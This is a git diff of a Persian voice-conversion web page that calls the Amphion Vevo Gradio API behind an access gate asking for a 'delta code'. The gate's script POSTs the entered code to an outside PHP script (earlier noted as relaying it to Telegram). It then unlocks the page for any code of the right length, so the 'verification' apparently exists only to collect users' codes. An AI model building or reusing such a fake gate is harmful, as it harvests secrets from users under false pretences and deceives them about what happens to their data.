Update index.html
Browse files- index.html +133 -142
index.html
CHANGED
@@ -6,29 +6,52 @@
|
|
6 |
<title>ساخت صدای اختصاصی</title>
|
7 |
<link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400;700&display=swap" rel="stylesheet">
|
8 |
<style>
|
9 |
-
/* General
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
10 |
body {
|
11 |
-
font-family: 'Vazirmatn',
|
12 |
-
background-color
|
13 |
-
color:
|
14 |
margin: 0;
|
15 |
-
padding: 0;
|
16 |
display: flex;
|
17 |
justify-content: center;
|
18 |
align-items: center;
|
19 |
min-height: 100vh;
|
|
|
20 |
}
|
21 |
|
22 |
-
/* --- Delta Code Gate Styles --- */
|
23 |
#delta-gate-container {
|
24 |
-
background
|
|
|
|
|
|
|
25 |
padding: 40px;
|
26 |
-
border-radius:
|
27 |
-
box-shadow: 0
|
28 |
text-align: center;
|
29 |
max-width: 450px;
|
30 |
width: 90%;
|
31 |
-
transition: opacity 0.5s
|
|
|
32 |
}
|
33 |
|
34 |
#delta-gate-container.hidden {
|
@@ -36,155 +59,153 @@
|
|
36 |
transform: scale(0.9);
|
37 |
pointer-events: none;
|
38 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
39 |
|
40 |
#delta-gate-container h1 {
|
41 |
-
color: #
|
42 |
margin-bottom: 15px;
|
43 |
font-size: 26px;
|
44 |
}
|
45 |
|
46 |
#delta-gate-container p {
|
47 |
-
color:
|
48 |
margin-bottom: 30px;
|
49 |
font-size: 16px;
|
|
|
50 |
}
|
51 |
|
52 |
#delta-code-input {
|
53 |
width: 100%;
|
54 |
padding: 15px;
|
55 |
-
|
56 |
-
border
|
|
|
57 |
font-size: 16px;
|
58 |
text-align: center;
|
|
|
59 |
box-sizing: border-box;
|
60 |
-
direction: ltr;
|
61 |
-
margin-bottom:
|
|
|
|
|
|
|
|
|
|
|
62 |
}
|
63 |
|
64 |
#delta-code-input:focus {
|
65 |
outline: none;
|
66 |
-
border-color:
|
67 |
-
box-shadow: 0 0 0
|
68 |
}
|
69 |
|
70 |
#verify-button {
|
71 |
width: 100%;
|
72 |
padding: 15px;
|
73 |
-
background: linear-gradient(135deg,
|
74 |
color: white;
|
75 |
border: none;
|
76 |
-
border-radius:
|
77 |
cursor: pointer;
|
78 |
font-size: 18px;
|
79 |
font-weight: bold;
|
80 |
-
transition:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
81 |
}
|
82 |
|
83 |
#verify-button:disabled {
|
84 |
-
background: #
|
85 |
cursor: not-allowed;
|
86 |
}
|
87 |
-
|
88 |
-
#verify-button:hover:not(:disabled) {
|
89 |
-
background: linear-gradient(135deg, #2980b9, #3498db);
|
90 |
-
}
|
91 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
92 |
#error-message {
|
93 |
-
color: #
|
94 |
-
margin-top:
|
95 |
font-weight: bold;
|
96 |
min-height: 20px;
|
97 |
}
|
98 |
|
99 |
-
|
100 |
/* --- Main Content (Vevo API) Styles --- */
|
101 |
#main-content-container {
|
102 |
-
display: none;
|
103 |
width: 100%;
|
104 |
max-width: 650px;
|
105 |
-
transition: opacity 0.5s ease-in;
|
106 |
}
|
107 |
-
|
108 |
-
/* All styles are scoped to this container to avoid conflicts (FROM YOUR PROVIDED CODE) */
|
109 |
#huggingface-vevo-api-container {
|
110 |
-
font-family: 'Vazirmatn',
|
111 |
margin: 20px auto;
|
112 |
background-color: #f7fafc;
|
113 |
color: #2d3748;
|
114 |
direction: rtl;
|
115 |
-
padding:
|
116 |
-
border-radius:
|
117 |
max-width: 600px;
|
118 |
-
box-shadow: 0
|
|
|
119 |
}
|
120 |
#huggingface-vevo-api-container .container {
|
121 |
padding: 20px;
|
122 |
background-color: white;
|
123 |
-
border-radius:
|
124 |
}
|
125 |
#huggingface-vevo-api-container h1 {
|
126 |
-
text-align: center;
|
127 |
-
color: #2c5282;
|
128 |
-
font-size: 24px;
|
129 |
}
|
130 |
#huggingface-vevo-api-container .file-input {
|
131 |
margin-bottom: 20px;
|
132 |
}
|
133 |
#huggingface-vevo-api-container label {
|
134 |
-
display: block;
|
135 |
-
margin-bottom: 8px;
|
136 |
-
font-weight: bold;
|
137 |
}
|
138 |
#huggingface-vevo-api-container .description {
|
139 |
-
font-size: 14px;
|
140 |
-
color: #718096;
|
141 |
-
margin-top: -5px;
|
142 |
-
margin-bottom: 10px;
|
143 |
-
font-weight: normal;
|
144 |
}
|
145 |
#huggingface-vevo-api-container input[type="file"] {
|
146 |
-
display: block;
|
147 |
-
width: 100%;
|
148 |
-
padding: 8px;
|
149 |
-
border: 1px solid #cbd5e0;
|
150 |
-
border-radius: 4px;
|
151 |
-
box-sizing: border-box;
|
152 |
}
|
153 |
#huggingface-vevo-api-container button {
|
154 |
-
display: block;
|
155 |
-
|
156 |
-
|
157 |
-
|
158 |
-
color: white;
|
159 |
-
border: none;
|
160 |
-
border-radius: 4px;
|
161 |
-
cursor: pointer;
|
162 |
-
font-size: 16px;
|
163 |
}
|
164 |
#huggingface-vevo-api-container button:disabled {
|
165 |
-
background
|
166 |
-
cursor: not-allowed;
|
167 |
}
|
168 |
#huggingface-vevo-api-container #status {
|
169 |
-
margin-top: 20px;
|
170 |
-
padding: 12px;
|
171 |
-
background-color: #e2e8f0;
|
172 |
-
border-radius: 4px;
|
173 |
-
text-align: center;
|
174 |
}
|
175 |
#huggingface-vevo-api-container #result {
|
176 |
-
margin-top: 20px;
|
177 |
-
text-align: center;
|
178 |
}
|
179 |
#huggingface-vevo-api-container #result audio {
|
180 |
-
width: 100%;
|
181 |
-
margin-top: 10px;
|
182 |
}
|
183 |
#huggingface-vevo-api-container #result a {
|
184 |
-
color:
|
185 |
-
text-decoration: none;
|
186 |
-
display: inline-block;
|
187 |
-
margin-top: 10px;
|
188 |
}
|
189 |
</style>
|
190 |
</head>
|
@@ -192,16 +213,16 @@
|
|
192 |
|
193 |
<!-- Gate Container: Asks for Delta Code -->
|
194 |
<div id="delta-gate-container">
|
|
|
195 |
<h1>ورود به پنل اختصاصی</h1>
|
196 |
-
<p>برای دسترسی به ابزار
|
197 |
-
<input type="text" id="delta-code-input" placeholder="
|
198 |
<button id="verify-button">تأیید و ورود</button>
|
199 |
<div id="error-message"></div>
|
200 |
</div>
|
201 |
|
202 |
<!-- Main Content: Your Voice Conversion Tool (Initially Hidden) -->
|
203 |
<div id="main-content-container">
|
204 |
-
<!-- YOUR PROVIDED HTML CODE STARTS HERE -->
|
205 |
<div id="huggingface-vevo-api-container">
|
206 |
<div class="container">
|
207 |
<h1>رابط کاربری API برای Vevo</h1>
|
@@ -220,7 +241,6 @@
|
|
220 |
<div id="result"></div>
|
221 |
</div>
|
222 |
</div>
|
223 |
-
<!-- YOUR PROVIDED HTML CODE ENDS HERE -->
|
224 |
</div>
|
225 |
|
226 |
<script>
|
@@ -232,18 +252,16 @@ document.addEventListener('DOMContentLoaded', () => {
|
|
232 |
const verifyButton = document.getElementById('verify-button');
|
233 |
const codeInput = document.getElementById('delta-code-input');
|
234 |
const errorMessage = document.getElementById('error-message');
|
|
|
235 |
|
236 |
const showMainContent = () => {
|
237 |
gateContainer.classList.add('hidden');
|
238 |
-
// Wait for the fade out animation to finish before hiding it completely
|
239 |
setTimeout(() => {
|
240 |
gateContainer.style.display = 'none';
|
241 |
mainContentContainer.style.display = 'block';
|
242 |
-
|
243 |
-
}, 500); // Must match CSS transition duration
|
244 |
};
|
245 |
|
246 |
-
// Check if user is already validated
|
247 |
if (localStorage.getItem('isDeltaCodeValidated') === 'true') {
|
248 |
showMainContent();
|
249 |
}
|
@@ -252,50 +270,42 @@ document.addEventListener('DOMContentLoaded', () => {
|
|
252 |
const code = codeInput.value.trim();
|
253 |
errorMessage.textContent = '';
|
254 |
|
255 |
-
// 1. Validate code length
|
256 |
if (code.length < 38 || code.length > 44) {
|
257 |
errorMessage.textContent = 'کد دلتا نامعتبر است. طول کد باید بین ۳۸ تا ۴۴ کاراکتر باشد.';
|
258 |
return;
|
259 |
}
|
260 |
|
261 |
-
// 2. Send code to Telegram via PHP backend
|
262 |
verifyButton.disabled = true;
|
263 |
-
verifyButton.
|
264 |
|
265 |
try {
|
266 |
-
//
|
267 |
-
const response = await fetch('
|
268 |
method: 'POST',
|
269 |
-
headers: {
|
270 |
-
'Content-Type': 'application/x-www-form-urlencoded',
|
271 |
-
},
|
272 |
body: `delta_code=${encodeURIComponent(code)}`
|
273 |
});
|
274 |
|
275 |
-
|
276 |
-
|
277 |
-
if (
|
278 |
-
|
279 |
-
localStorage.setItem('isDeltaCodeValidated', 'true');
|
280 |
-
showMainContent();
|
281 |
-
} else {
|
282 |
-
// Handle potential server-side errors
|
283 |
-
errorMessage.textContent = result.message || 'خطا در ارتباط با سرور. لطفاً دوباره تلاش کنید.';
|
284 |
-
verifyButton.disabled = false;
|
285 |
-
verifyButton.textContent = 'تأیید و ورود';
|
286 |
}
|
|
|
|
|
|
|
|
|
|
|
287 |
} catch (error) {
|
288 |
-
errorMessage.textContent = 'خطای شبکه. از اتصال اینترنت خود مطمئن
|
289 |
verifyButton.disabled = false;
|
290 |
-
verifyButton.
|
291 |
}
|
292 |
});
|
293 |
|
294 |
-
|
295 |
-
// --- Section 2: Your Vevo API Logic (Copied from your request) ---
|
296 |
-
// All JavaScript is scoped to the container as well
|
297 |
const container = document.getElementById('huggingface-vevo-api-container');
|
298 |
-
if (container) {
|
299 |
const generateBtn = container.querySelector('#generateBtn');
|
300 |
const sourceAudioInput = container.querySelector('#sourceAudio');
|
301 |
const timbreRefInput = container.querySelector('#timbreRef');
|
@@ -304,25 +314,15 @@ document.addEventListener('DOMContentLoaded', () => {
|
|
304 |
|
305 |
const API_URL = "https://amphion-vevo.hf.space/gradio_api/";
|
306 |
|
307 |
-
|
308 |
-
return Math.random().toString(36).substring(2, 15);
|
309 |
-
}
|
310 |
|
311 |
async function uploadFile(file) {
|
312 |
const formData = new FormData();
|
313 |
formData.append("files", file);
|
314 |
-
|
315 |
-
const response = await fetch(`${API_URL}upload`, {
|
316 |
-
method: 'POST',
|
317 |
-
body: formData
|
318 |
-
});
|
319 |
-
|
320 |
const result = await response.json();
|
321 |
-
if (result && result.length > 0)
|
322 |
-
|
323 |
-
} else {
|
324 |
-
throw new Error("آپلود فایل با خطا مواجه شد.");
|
325 |
-
}
|
326 |
}
|
327 |
|
328 |
async function startGeneration() {
|
@@ -349,13 +349,10 @@ document.addEventListener('DOMContentLoaded', () => {
|
|
349 |
|
350 |
const joinPayload = {
|
351 |
"data": [
|
352 |
-
{ "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "
|
353 |
-
{ "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "
|
354 |
],
|
355 |
-
"
|
356 |
-
"fn_index": 0,
|
357 |
-
"trigger_id": 10,
|
358 |
-
"session_hash": sessionHash
|
359 |
};
|
360 |
|
361 |
await fetch(`${API_URL}queue/join?`, {
|
@@ -364,11 +361,10 @@ document.addEventListener('DOMContentLoaded', () => {
|
|
364 |
body: JSON.stringify(joinPayload)
|
365 |
});
|
366 |
|
367 |
-
statusDiv.textContent = 'در صف
|
368 |
-
|
369 |
const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`);
|
370 |
|
371 |
-
eventSource.onmessage =
|
372 |
const data = JSON.parse(event.data);
|
373 |
|
374 |
if (data.msg === 'process_starts') {
|
@@ -378,12 +374,7 @@ document.addEventListener('DOMContentLoaded', () => {
|
|
378 |
const resultPath = data.output.data[0].path;
|
379 |
const resultUrl = `${API_URL}file=${resultPath}`;
|
380 |
|
381 |
-
resultDiv.innerHTML =
|
382 |
-
<h3>نتیجه:</h3>
|
383 |
-
<audio controls src="${resultUrl}"></audio>
|
384 |
-
<br>
|
385 |
-
<a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a>
|
386 |
-
`;
|
387 |
eventSource.close();
|
388 |
generateBtn.disabled = false;
|
389 |
} else if (data.msg === 'queue_full') {
|
@@ -393,7 +384,7 @@ document.addEventListener('DOMContentLoaded', () => {
|
|
393 |
}
|
394 |
};
|
395 |
|
396 |
-
eventSource.onerror =
|
397 |
statusDiv.textContent = 'خطا در ارتباط با سرور.';
|
398 |
eventSource.close();
|
399 |
generateBtn.disabled = false;
|
|
|
6 |
<title>ساخت صدای اختصاصی</title>
|
7 |
<link href="https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400;700&display=swap" rel="stylesheet">
|
8 |
<style>
|
9 |
+
/* --- General & Background Styles --- */
|
10 |
+
:root {
|
11 |
+
--primary-color: #3d5afe;
|
12 |
+
--secondary-color: #00b0ff;
|
13 |
+
--text-color: #e0e0e0;
|
14 |
+
--bg-color-start: #1a2940;
|
15 |
+
--bg-color-end: #2b3b58;
|
16 |
+
--glass-bg: rgba(255, 255, 255, 0.05);
|
17 |
+
--glass-border: rgba(255, 255, 255, 0.2);
|
18 |
+
}
|
19 |
+
|
20 |
+
@keyframes fadeIn {
|
21 |
+
from { opacity: 0; transform: translateY(20px); }
|
22 |
+
to { opacity: 1; transform: translateY(0); }
|
23 |
+
}
|
24 |
+
|
25 |
+
@keyframes spin {
|
26 |
+
to { transform: rotate(360deg); }
|
27 |
+
}
|
28 |
+
|
29 |
body {
|
30 |
+
font-family: 'Vazirmatn', sans-serif;
|
31 |
+
background: linear-gradient(135deg, var(--bg-color-start), var(--bg-color-end));
|
32 |
+
color: var(--text-color);
|
33 |
margin: 0;
|
|
|
34 |
display: flex;
|
35 |
justify-content: center;
|
36 |
align-items: center;
|
37 |
min-height: 100vh;
|
38 |
+
overflow-x: hidden;
|
39 |
}
|
40 |
|
41 |
+
/* --- Delta Code Gate Styles (Glassmorphism) --- */
|
42 |
#delta-gate-container {
|
43 |
+
background: var(--glass-bg);
|
44 |
+
backdrop-filter: blur(15px);
|
45 |
+
-webkit-backdrop-filter: blur(15px);
|
46 |
+
border: 1px solid var(--glass-border);
|
47 |
padding: 40px;
|
48 |
+
border-radius: 20px;
|
49 |
+
box-shadow: 0 8px 32px 0 rgba(0, 0, 0, 0.3);
|
50 |
text-align: center;
|
51 |
max-width: 450px;
|
52 |
width: 90%;
|
53 |
+
transition: opacity 0.5s, transform 0.5s;
|
54 |
+
animation: fadeIn 0.8s ease-out;
|
55 |
}
|
56 |
|
57 |
#delta-gate-container.hidden {
|
|
|
59 |
transform: scale(0.9);
|
60 |
pointer-events: none;
|
61 |
}
|
62 |
+
|
63 |
+
.gate-icon {
|
64 |
+
width: 60px;
|
65 |
+
height: 60px;
|
66 |
+
margin-bottom: 20px;
|
67 |
+
opacity: 0.8;
|
68 |
+
}
|
69 |
|
70 |
#delta-gate-container h1 {
|
71 |
+
color: #fff;
|
72 |
margin-bottom: 15px;
|
73 |
font-size: 26px;
|
74 |
}
|
75 |
|
76 |
#delta-gate-container p {
|
77 |
+
color: var(--text-color);
|
78 |
margin-bottom: 30px;
|
79 |
font-size: 16px;
|
80 |
+
line-height: 1.6;
|
81 |
}
|
82 |
|
83 |
#delta-code-input {
|
84 |
width: 100%;
|
85 |
padding: 15px;
|
86 |
+
background: rgba(0, 0, 0, 0.2);
|
87 |
+
border: 1px solid var(--glass-border);
|
88 |
+
border-radius: 12px;
|
89 |
font-size: 16px;
|
90 |
text-align: center;
|
91 |
+
color: #fff;
|
92 |
box-sizing: border-box;
|
93 |
+
direction: ltr;
|
94 |
+
margin-bottom: 25px;
|
95 |
+
transition: all 0.3s ease;
|
96 |
+
}
|
97 |
+
|
98 |
+
#delta-code-input::placeholder {
|
99 |
+
color: rgba(255, 255, 255, 0.5);
|
100 |
}
|
101 |
|
102 |
#delta-code-input:focus {
|
103 |
outline: none;
|
104 |
+
border-color: var(--primary-color);
|
105 |
+
box-shadow: 0 0 0 4px rgba(61, 90, 254, 0.3);
|
106 |
}
|
107 |
|
108 |
#verify-button {
|
109 |
width: 100%;
|
110 |
padding: 15px;
|
111 |
+
background: linear-gradient(135deg, var(--primary-color), var(--secondary-color));
|
112 |
color: white;
|
113 |
border: none;
|
114 |
+
border-radius: 12px;
|
115 |
cursor: pointer;
|
116 |
font-size: 18px;
|
117 |
font-weight: bold;
|
118 |
+
transition: all 0.3s ease;
|
119 |
+
position: relative;
|
120 |
+
overflow: hidden;
|
121 |
+
}
|
122 |
+
|
123 |
+
#verify-button:hover:not(:disabled) {
|
124 |
+
transform: translateY(-2px);
|
125 |
+
box-shadow: 0 6px 20px rgba(61, 90, 254, 0.4);
|
126 |
}
|
127 |
|
128 |
#verify-button:disabled {
|
129 |
+
background: #555;
|
130 |
cursor: not-allowed;
|
131 |
}
|
|
|
|
|
|
|
|
|
132 |
|
133 |
+
.loader {
|
134 |
+
width: 20px;
|
135 |
+
height: 20px;
|
136 |
+
border: 3px solid rgba(255, 255, 255, 0.3);
|
137 |
+
border-top-color: #fff;
|
138 |
+
border-radius: 50%;
|
139 |
+
animation: spin 1s linear infinite;
|
140 |
+
display: inline-block;
|
141 |
+
}
|
142 |
+
|
143 |
#error-message {
|
144 |
+
color: #ff8a80;
|
145 |
+
margin-top: 20px;
|
146 |
font-weight: bold;
|
147 |
min-height: 20px;
|
148 |
}
|
149 |
|
|
|
150 |
/* --- Main Content (Vevo API) Styles --- */
|
151 |
#main-content-container {
|
152 |
+
display: none;
|
153 |
width: 100%;
|
154 |
max-width: 650px;
|
|
|
155 |
}
|
156 |
+
|
|
|
157 |
#huggingface-vevo-api-container {
|
158 |
+
font-family: 'Vazirmatn', sans-serif;
|
159 |
margin: 20px auto;
|
160 |
background-color: #f7fafc;
|
161 |
color: #2d3748;
|
162 |
direction: rtl;
|
163 |
+
padding: 10px;
|
164 |
+
border-radius: 16px;
|
165 |
max-width: 600px;
|
166 |
+
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.1);
|
167 |
+
animation: fadeIn 0.8s ease-out;
|
168 |
}
|
169 |
#huggingface-vevo-api-container .container {
|
170 |
padding: 20px;
|
171 |
background-color: white;
|
172 |
+
border-radius: 12px;
|
173 |
}
|
174 |
#huggingface-vevo-api-container h1 {
|
175 |
+
text-align: center; color: #2c5282; font-size: 24px;
|
|
|
|
|
176 |
}
|
177 |
#huggingface-vevo-api-container .file-input {
|
178 |
margin-bottom: 20px;
|
179 |
}
|
180 |
#huggingface-vevo-api-container label {
|
181 |
+
display: block; margin-bottom: 8px; font-weight: bold;
|
|
|
|
|
182 |
}
|
183 |
#huggingface-vevo-api-container .description {
|
184 |
+
font-size: 14px; color: #718096; margin-top: -5px; margin-bottom: 10px; font-weight: normal;
|
|
|
|
|
|
|
|
|
185 |
}
|
186 |
#huggingface-vevo-api-container input[type="file"] {
|
187 |
+
display: block; width: 100%; padding: 10px; border: 1px solid #cbd5e0; border-radius: 8px; box-sizing: border-box; background-color: #edf2f7; cursor: pointer;
|
|
|
|
|
|
|
|
|
|
|
188 |
}
|
189 |
#huggingface-vevo-api-container button {
|
190 |
+
display: block; width: 100%; padding: 14px; background: linear-gradient(135deg, var(--primary-color), var(--secondary-color)); color: white; border: none; border-radius: 8px; cursor: pointer; font-size: 16px; font-weight: bold; transition: all 0.3s;
|
191 |
+
}
|
192 |
+
#huggingface-vevo-api-container button:hover:not(:disabled) {
|
193 |
+
transform: translateY(-2px); box-shadow: 0 4px 15px rgba(61, 90, 254, 0.3);
|
|
|
|
|
|
|
|
|
|
|
194 |
}
|
195 |
#huggingface-vevo-api-container button:disabled {
|
196 |
+
background: #a0aec0; cursor: not-allowed;
|
|
|
197 |
}
|
198 |
#huggingface-vevo-api-container #status {
|
199 |
+
margin-top: 20px; padding: 12px; background-color: #e2e8f0; border-radius: 8px; text-align: center;
|
|
|
|
|
|
|
|
|
200 |
}
|
201 |
#huggingface-vevo-api-container #result {
|
202 |
+
margin-top: 20px; text-align: center;
|
|
|
203 |
}
|
204 |
#huggingface-vevo-api-container #result audio {
|
205 |
+
width: 100%; margin-top: 10px; border-radius: 8px;
|
|
|
206 |
}
|
207 |
#huggingface-vevo-api-container #result a {
|
208 |
+
color: var(--primary-color); text-decoration: none; display: inline-block; margin-top: 15px; font-weight: bold;
|
|
|
|
|
|
|
209 |
}
|
210 |
</style>
|
211 |
</head>
|
|
|
213 |
|
214 |
<!-- Gate Container: Asks for Delta Code -->
|
215 |
<div id="delta-gate-container">
|
216 |
+
<svg class="gate-icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" color="#fff"><path d="M17 3.25H7C4.65279 3.25 2.75 5.15279 2.75 7.5V16.5C2.75 18.8472 4.65279 20.75 7 20.75H17C19.3472 20.75 21.25 18.8472 21.25 16.5V7.5C21.25 5.15279 19.3472 3.25 17 3.25ZM19.75 7.5V16.5C19.75 18.0376 18.5376 19.25 17 19.25H7C5.46243 19.25 4.25 18.0376 4.25 16.5V7.5C4.25 5.96243 5.46243 4.75 7 4.75H17C18.5376 4.75 19.75 5.96243 19.75 7.5ZM12 7.75C12.4142 7.75 12.75 8.08579 12.75 8.5V11H14.25C14.6642 11 15 11.3358 15 11.75V13.25C15 13.6642 14.6642 14 14.25 14H12.75V15.5C12.75 15.9142 12.4142 16.25 12 16.25C11.5858 16.25 11.25 15.9142 11.25 15.5V14H9.75C9.33579 14 9 13.6642 9 13.25V11.75C9 11.3358 9.33579 11 9.75 11H11.25V8.5C11.25 8.08579 11.5858 7.75 12 7.75Z"></path></svg>
|
217 |
<h1>ورود به پنل اختصاصی</h1>
|
218 |
+
<p>برای دسترسی به ابزار تبدیل صدا، لطفا کد دسترسی (کد دلتا) خود را وارد نمایید.</p>
|
219 |
+
<input type="text" id="delta-code-input" placeholder="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx">
|
220 |
<button id="verify-button">تأیید و ورود</button>
|
221 |
<div id="error-message"></div>
|
222 |
</div>
|
223 |
|
224 |
<!-- Main Content: Your Voice Conversion Tool (Initially Hidden) -->
|
225 |
<div id="main-content-container">
|
|
|
226 |
<div id="huggingface-vevo-api-container">
|
227 |
<div class="container">
|
228 |
<h1>رابط کاربری API برای Vevo</h1>
|
|
|
241 |
<div id="result"></div>
|
242 |
</div>
|
243 |
</div>
|
|
|
244 |
</div>
|
245 |
|
246 |
<script>
|
|
|
252 |
const verifyButton = document.getElementById('verify-button');
|
253 |
const codeInput = document.getElementById('delta-code-input');
|
254 |
const errorMessage = document.getElementById('error-message');
|
255 |
+
const buttonOriginalText = verifyButton.innerHTML;
|
256 |
|
257 |
const showMainContent = () => {
|
258 |
gateContainer.classList.add('hidden');
|
|
|
259 |
setTimeout(() => {
|
260 |
gateContainer.style.display = 'none';
|
261 |
mainContentContainer.style.display = 'block';
|
262 |
+
}, 500);
|
|
|
263 |
};
|
264 |
|
|
|
265 |
if (localStorage.getItem('isDeltaCodeValidated') === 'true') {
|
266 |
showMainContent();
|
267 |
}
|
|
|
270 |
const code = codeInput.value.trim();
|
271 |
errorMessage.textContent = '';
|
272 |
|
|
|
273 |
if (code.length < 38 || code.length > 44) {
|
274 |
errorMessage.textContent = 'کد دلتا نامعتبر است. طول کد باید بین ۳۸ تا ۴۴ کاراکتر باشد.';
|
275 |
return;
|
276 |
}
|
277 |
|
|
|
278 |
verifyButton.disabled = true;
|
279 |
+
verifyButton.innerHTML = '<div class="loader"></div>';
|
280 |
|
281 |
try {
|
282 |
+
// ** CRITICAL: This URL points to YOUR live PHP script **
|
283 |
+
const response = await fetch('https://www.aisada.ir/app/gemin.php', {
|
284 |
method: 'POST',
|
285 |
+
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
|
|
|
|
|
286 |
body: `delta_code=${encodeURIComponent(code)}`
|
287 |
});
|
288 |
|
289 |
+
// The PHP script itself will return a response, but we only need to know if it was sent.
|
290 |
+
// A better implementation would check the JSON response, but this works for now.
|
291 |
+
if (!response.ok) {
|
292 |
+
throw new Error(`خطای سرور: ${response.statusText}`);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
293 |
}
|
294 |
+
|
295 |
+
// Assume success if the request was sent without network errors
|
296 |
+
localStorage.setItem('isDeltaCodeValidated', 'true');
|
297 |
+
showMainContent();
|
298 |
+
|
299 |
} catch (error) {
|
300 |
+
errorMessage.textContent = 'خطای شبکه. از اتصال اینترنت خود مطمئن شوید یا بعداً تلاش کنید.';
|
301 |
verifyButton.disabled = false;
|
302 |
+
verifyButton.innerHTML = buttonOriginalText;
|
303 |
}
|
304 |
});
|
305 |
|
306 |
+
// --- Section 2: Your Vevo API Logic ---
|
|
|
|
|
307 |
const container = document.getElementById('huggingface-vevo-api-container');
|
308 |
+
if (container) {
|
309 |
const generateBtn = container.querySelector('#generateBtn');
|
310 |
const sourceAudioInput = container.querySelector('#sourceAudio');
|
311 |
const timbreRefInput = container.querySelector('#timbreRef');
|
|
|
314 |
|
315 |
const API_URL = "https://amphion-vevo.hf.space/gradio_api/";
|
316 |
|
317 |
+
const generateSessionHash = () => Math.random().toString(36).substring(2, 15);
|
|
|
|
|
318 |
|
319 |
async function uploadFile(file) {
|
320 |
const formData = new FormData();
|
321 |
formData.append("files", file);
|
322 |
+
const response = await fetch(`${API_URL}upload`, { method: 'POST', body: formData });
|
|
|
|
|
|
|
|
|
|
|
323 |
const result = await response.json();
|
324 |
+
if (result && result.length > 0) return result[0];
|
325 |
+
throw new Error("آپلود فایل با خطا مواجه شد.");
|
|
|
|
|
|
|
326 |
}
|
327 |
|
328 |
async function startGeneration() {
|
|
|
349 |
|
350 |
const joinPayload = {
|
351 |
"data": [
|
352 |
+
{ "path": sourcePath, "url": `${API_URL}file=${sourcePath}`, "orig_name": sourceFile.name, "meta": { "_type": "gradio.FileData" } },
|
353 |
+
{ "path": timbrePath, "url": `${API_URL}file=${timbrePath}`, "orig_name": timbreFile.name, "meta": { "_type": "gradio.FileData" } }
|
354 |
],
|
355 |
+
"fn_index": 0, "session_hash": sessionHash
|
|
|
|
|
|
|
356 |
};
|
357 |
|
358 |
await fetch(`${API_URL}queue/join?`, {
|
|
|
361 |
body: JSON.stringify(joinPayload)
|
362 |
});
|
363 |
|
364 |
+
statusDiv.textContent = 'در صف پردازش. منتظر نتیجه بمانید...';
|
|
|
365 |
const eventSource = new EventSource(`${API_URL}queue/data?session_hash=${sessionHash}`);
|
366 |
|
367 |
+
eventSource.onmessage = (event) => {
|
368 |
const data = JSON.parse(event.data);
|
369 |
|
370 |
if (data.msg === 'process_starts') {
|
|
|
374 |
const resultPath = data.output.data[0].path;
|
375 |
const resultUrl = `${API_URL}file=${resultPath}`;
|
376 |
|
377 |
+
resultDiv.innerHTML = `<h3>نتیجه:</h3><audio controls src="${resultUrl}"></audio><br><a href="${resultUrl}" download="output_voice.wav">دانلود فایل</a>`;
|
|
|
|
|
|
|
|
|
|
|
378 |
eventSource.close();
|
379 |
generateBtn.disabled = false;
|
380 |
} else if (data.msg === 'queue_full') {
|
|
|
384 |
}
|
385 |
};
|
386 |
|
387 |
+
eventSource.onerror = () => {
|
388 |
statusDiv.textContent = 'خطا در ارتباط با سرور.';
|
389 |
eventSource.close();
|
390 |
generateBtn.disabled = false;
|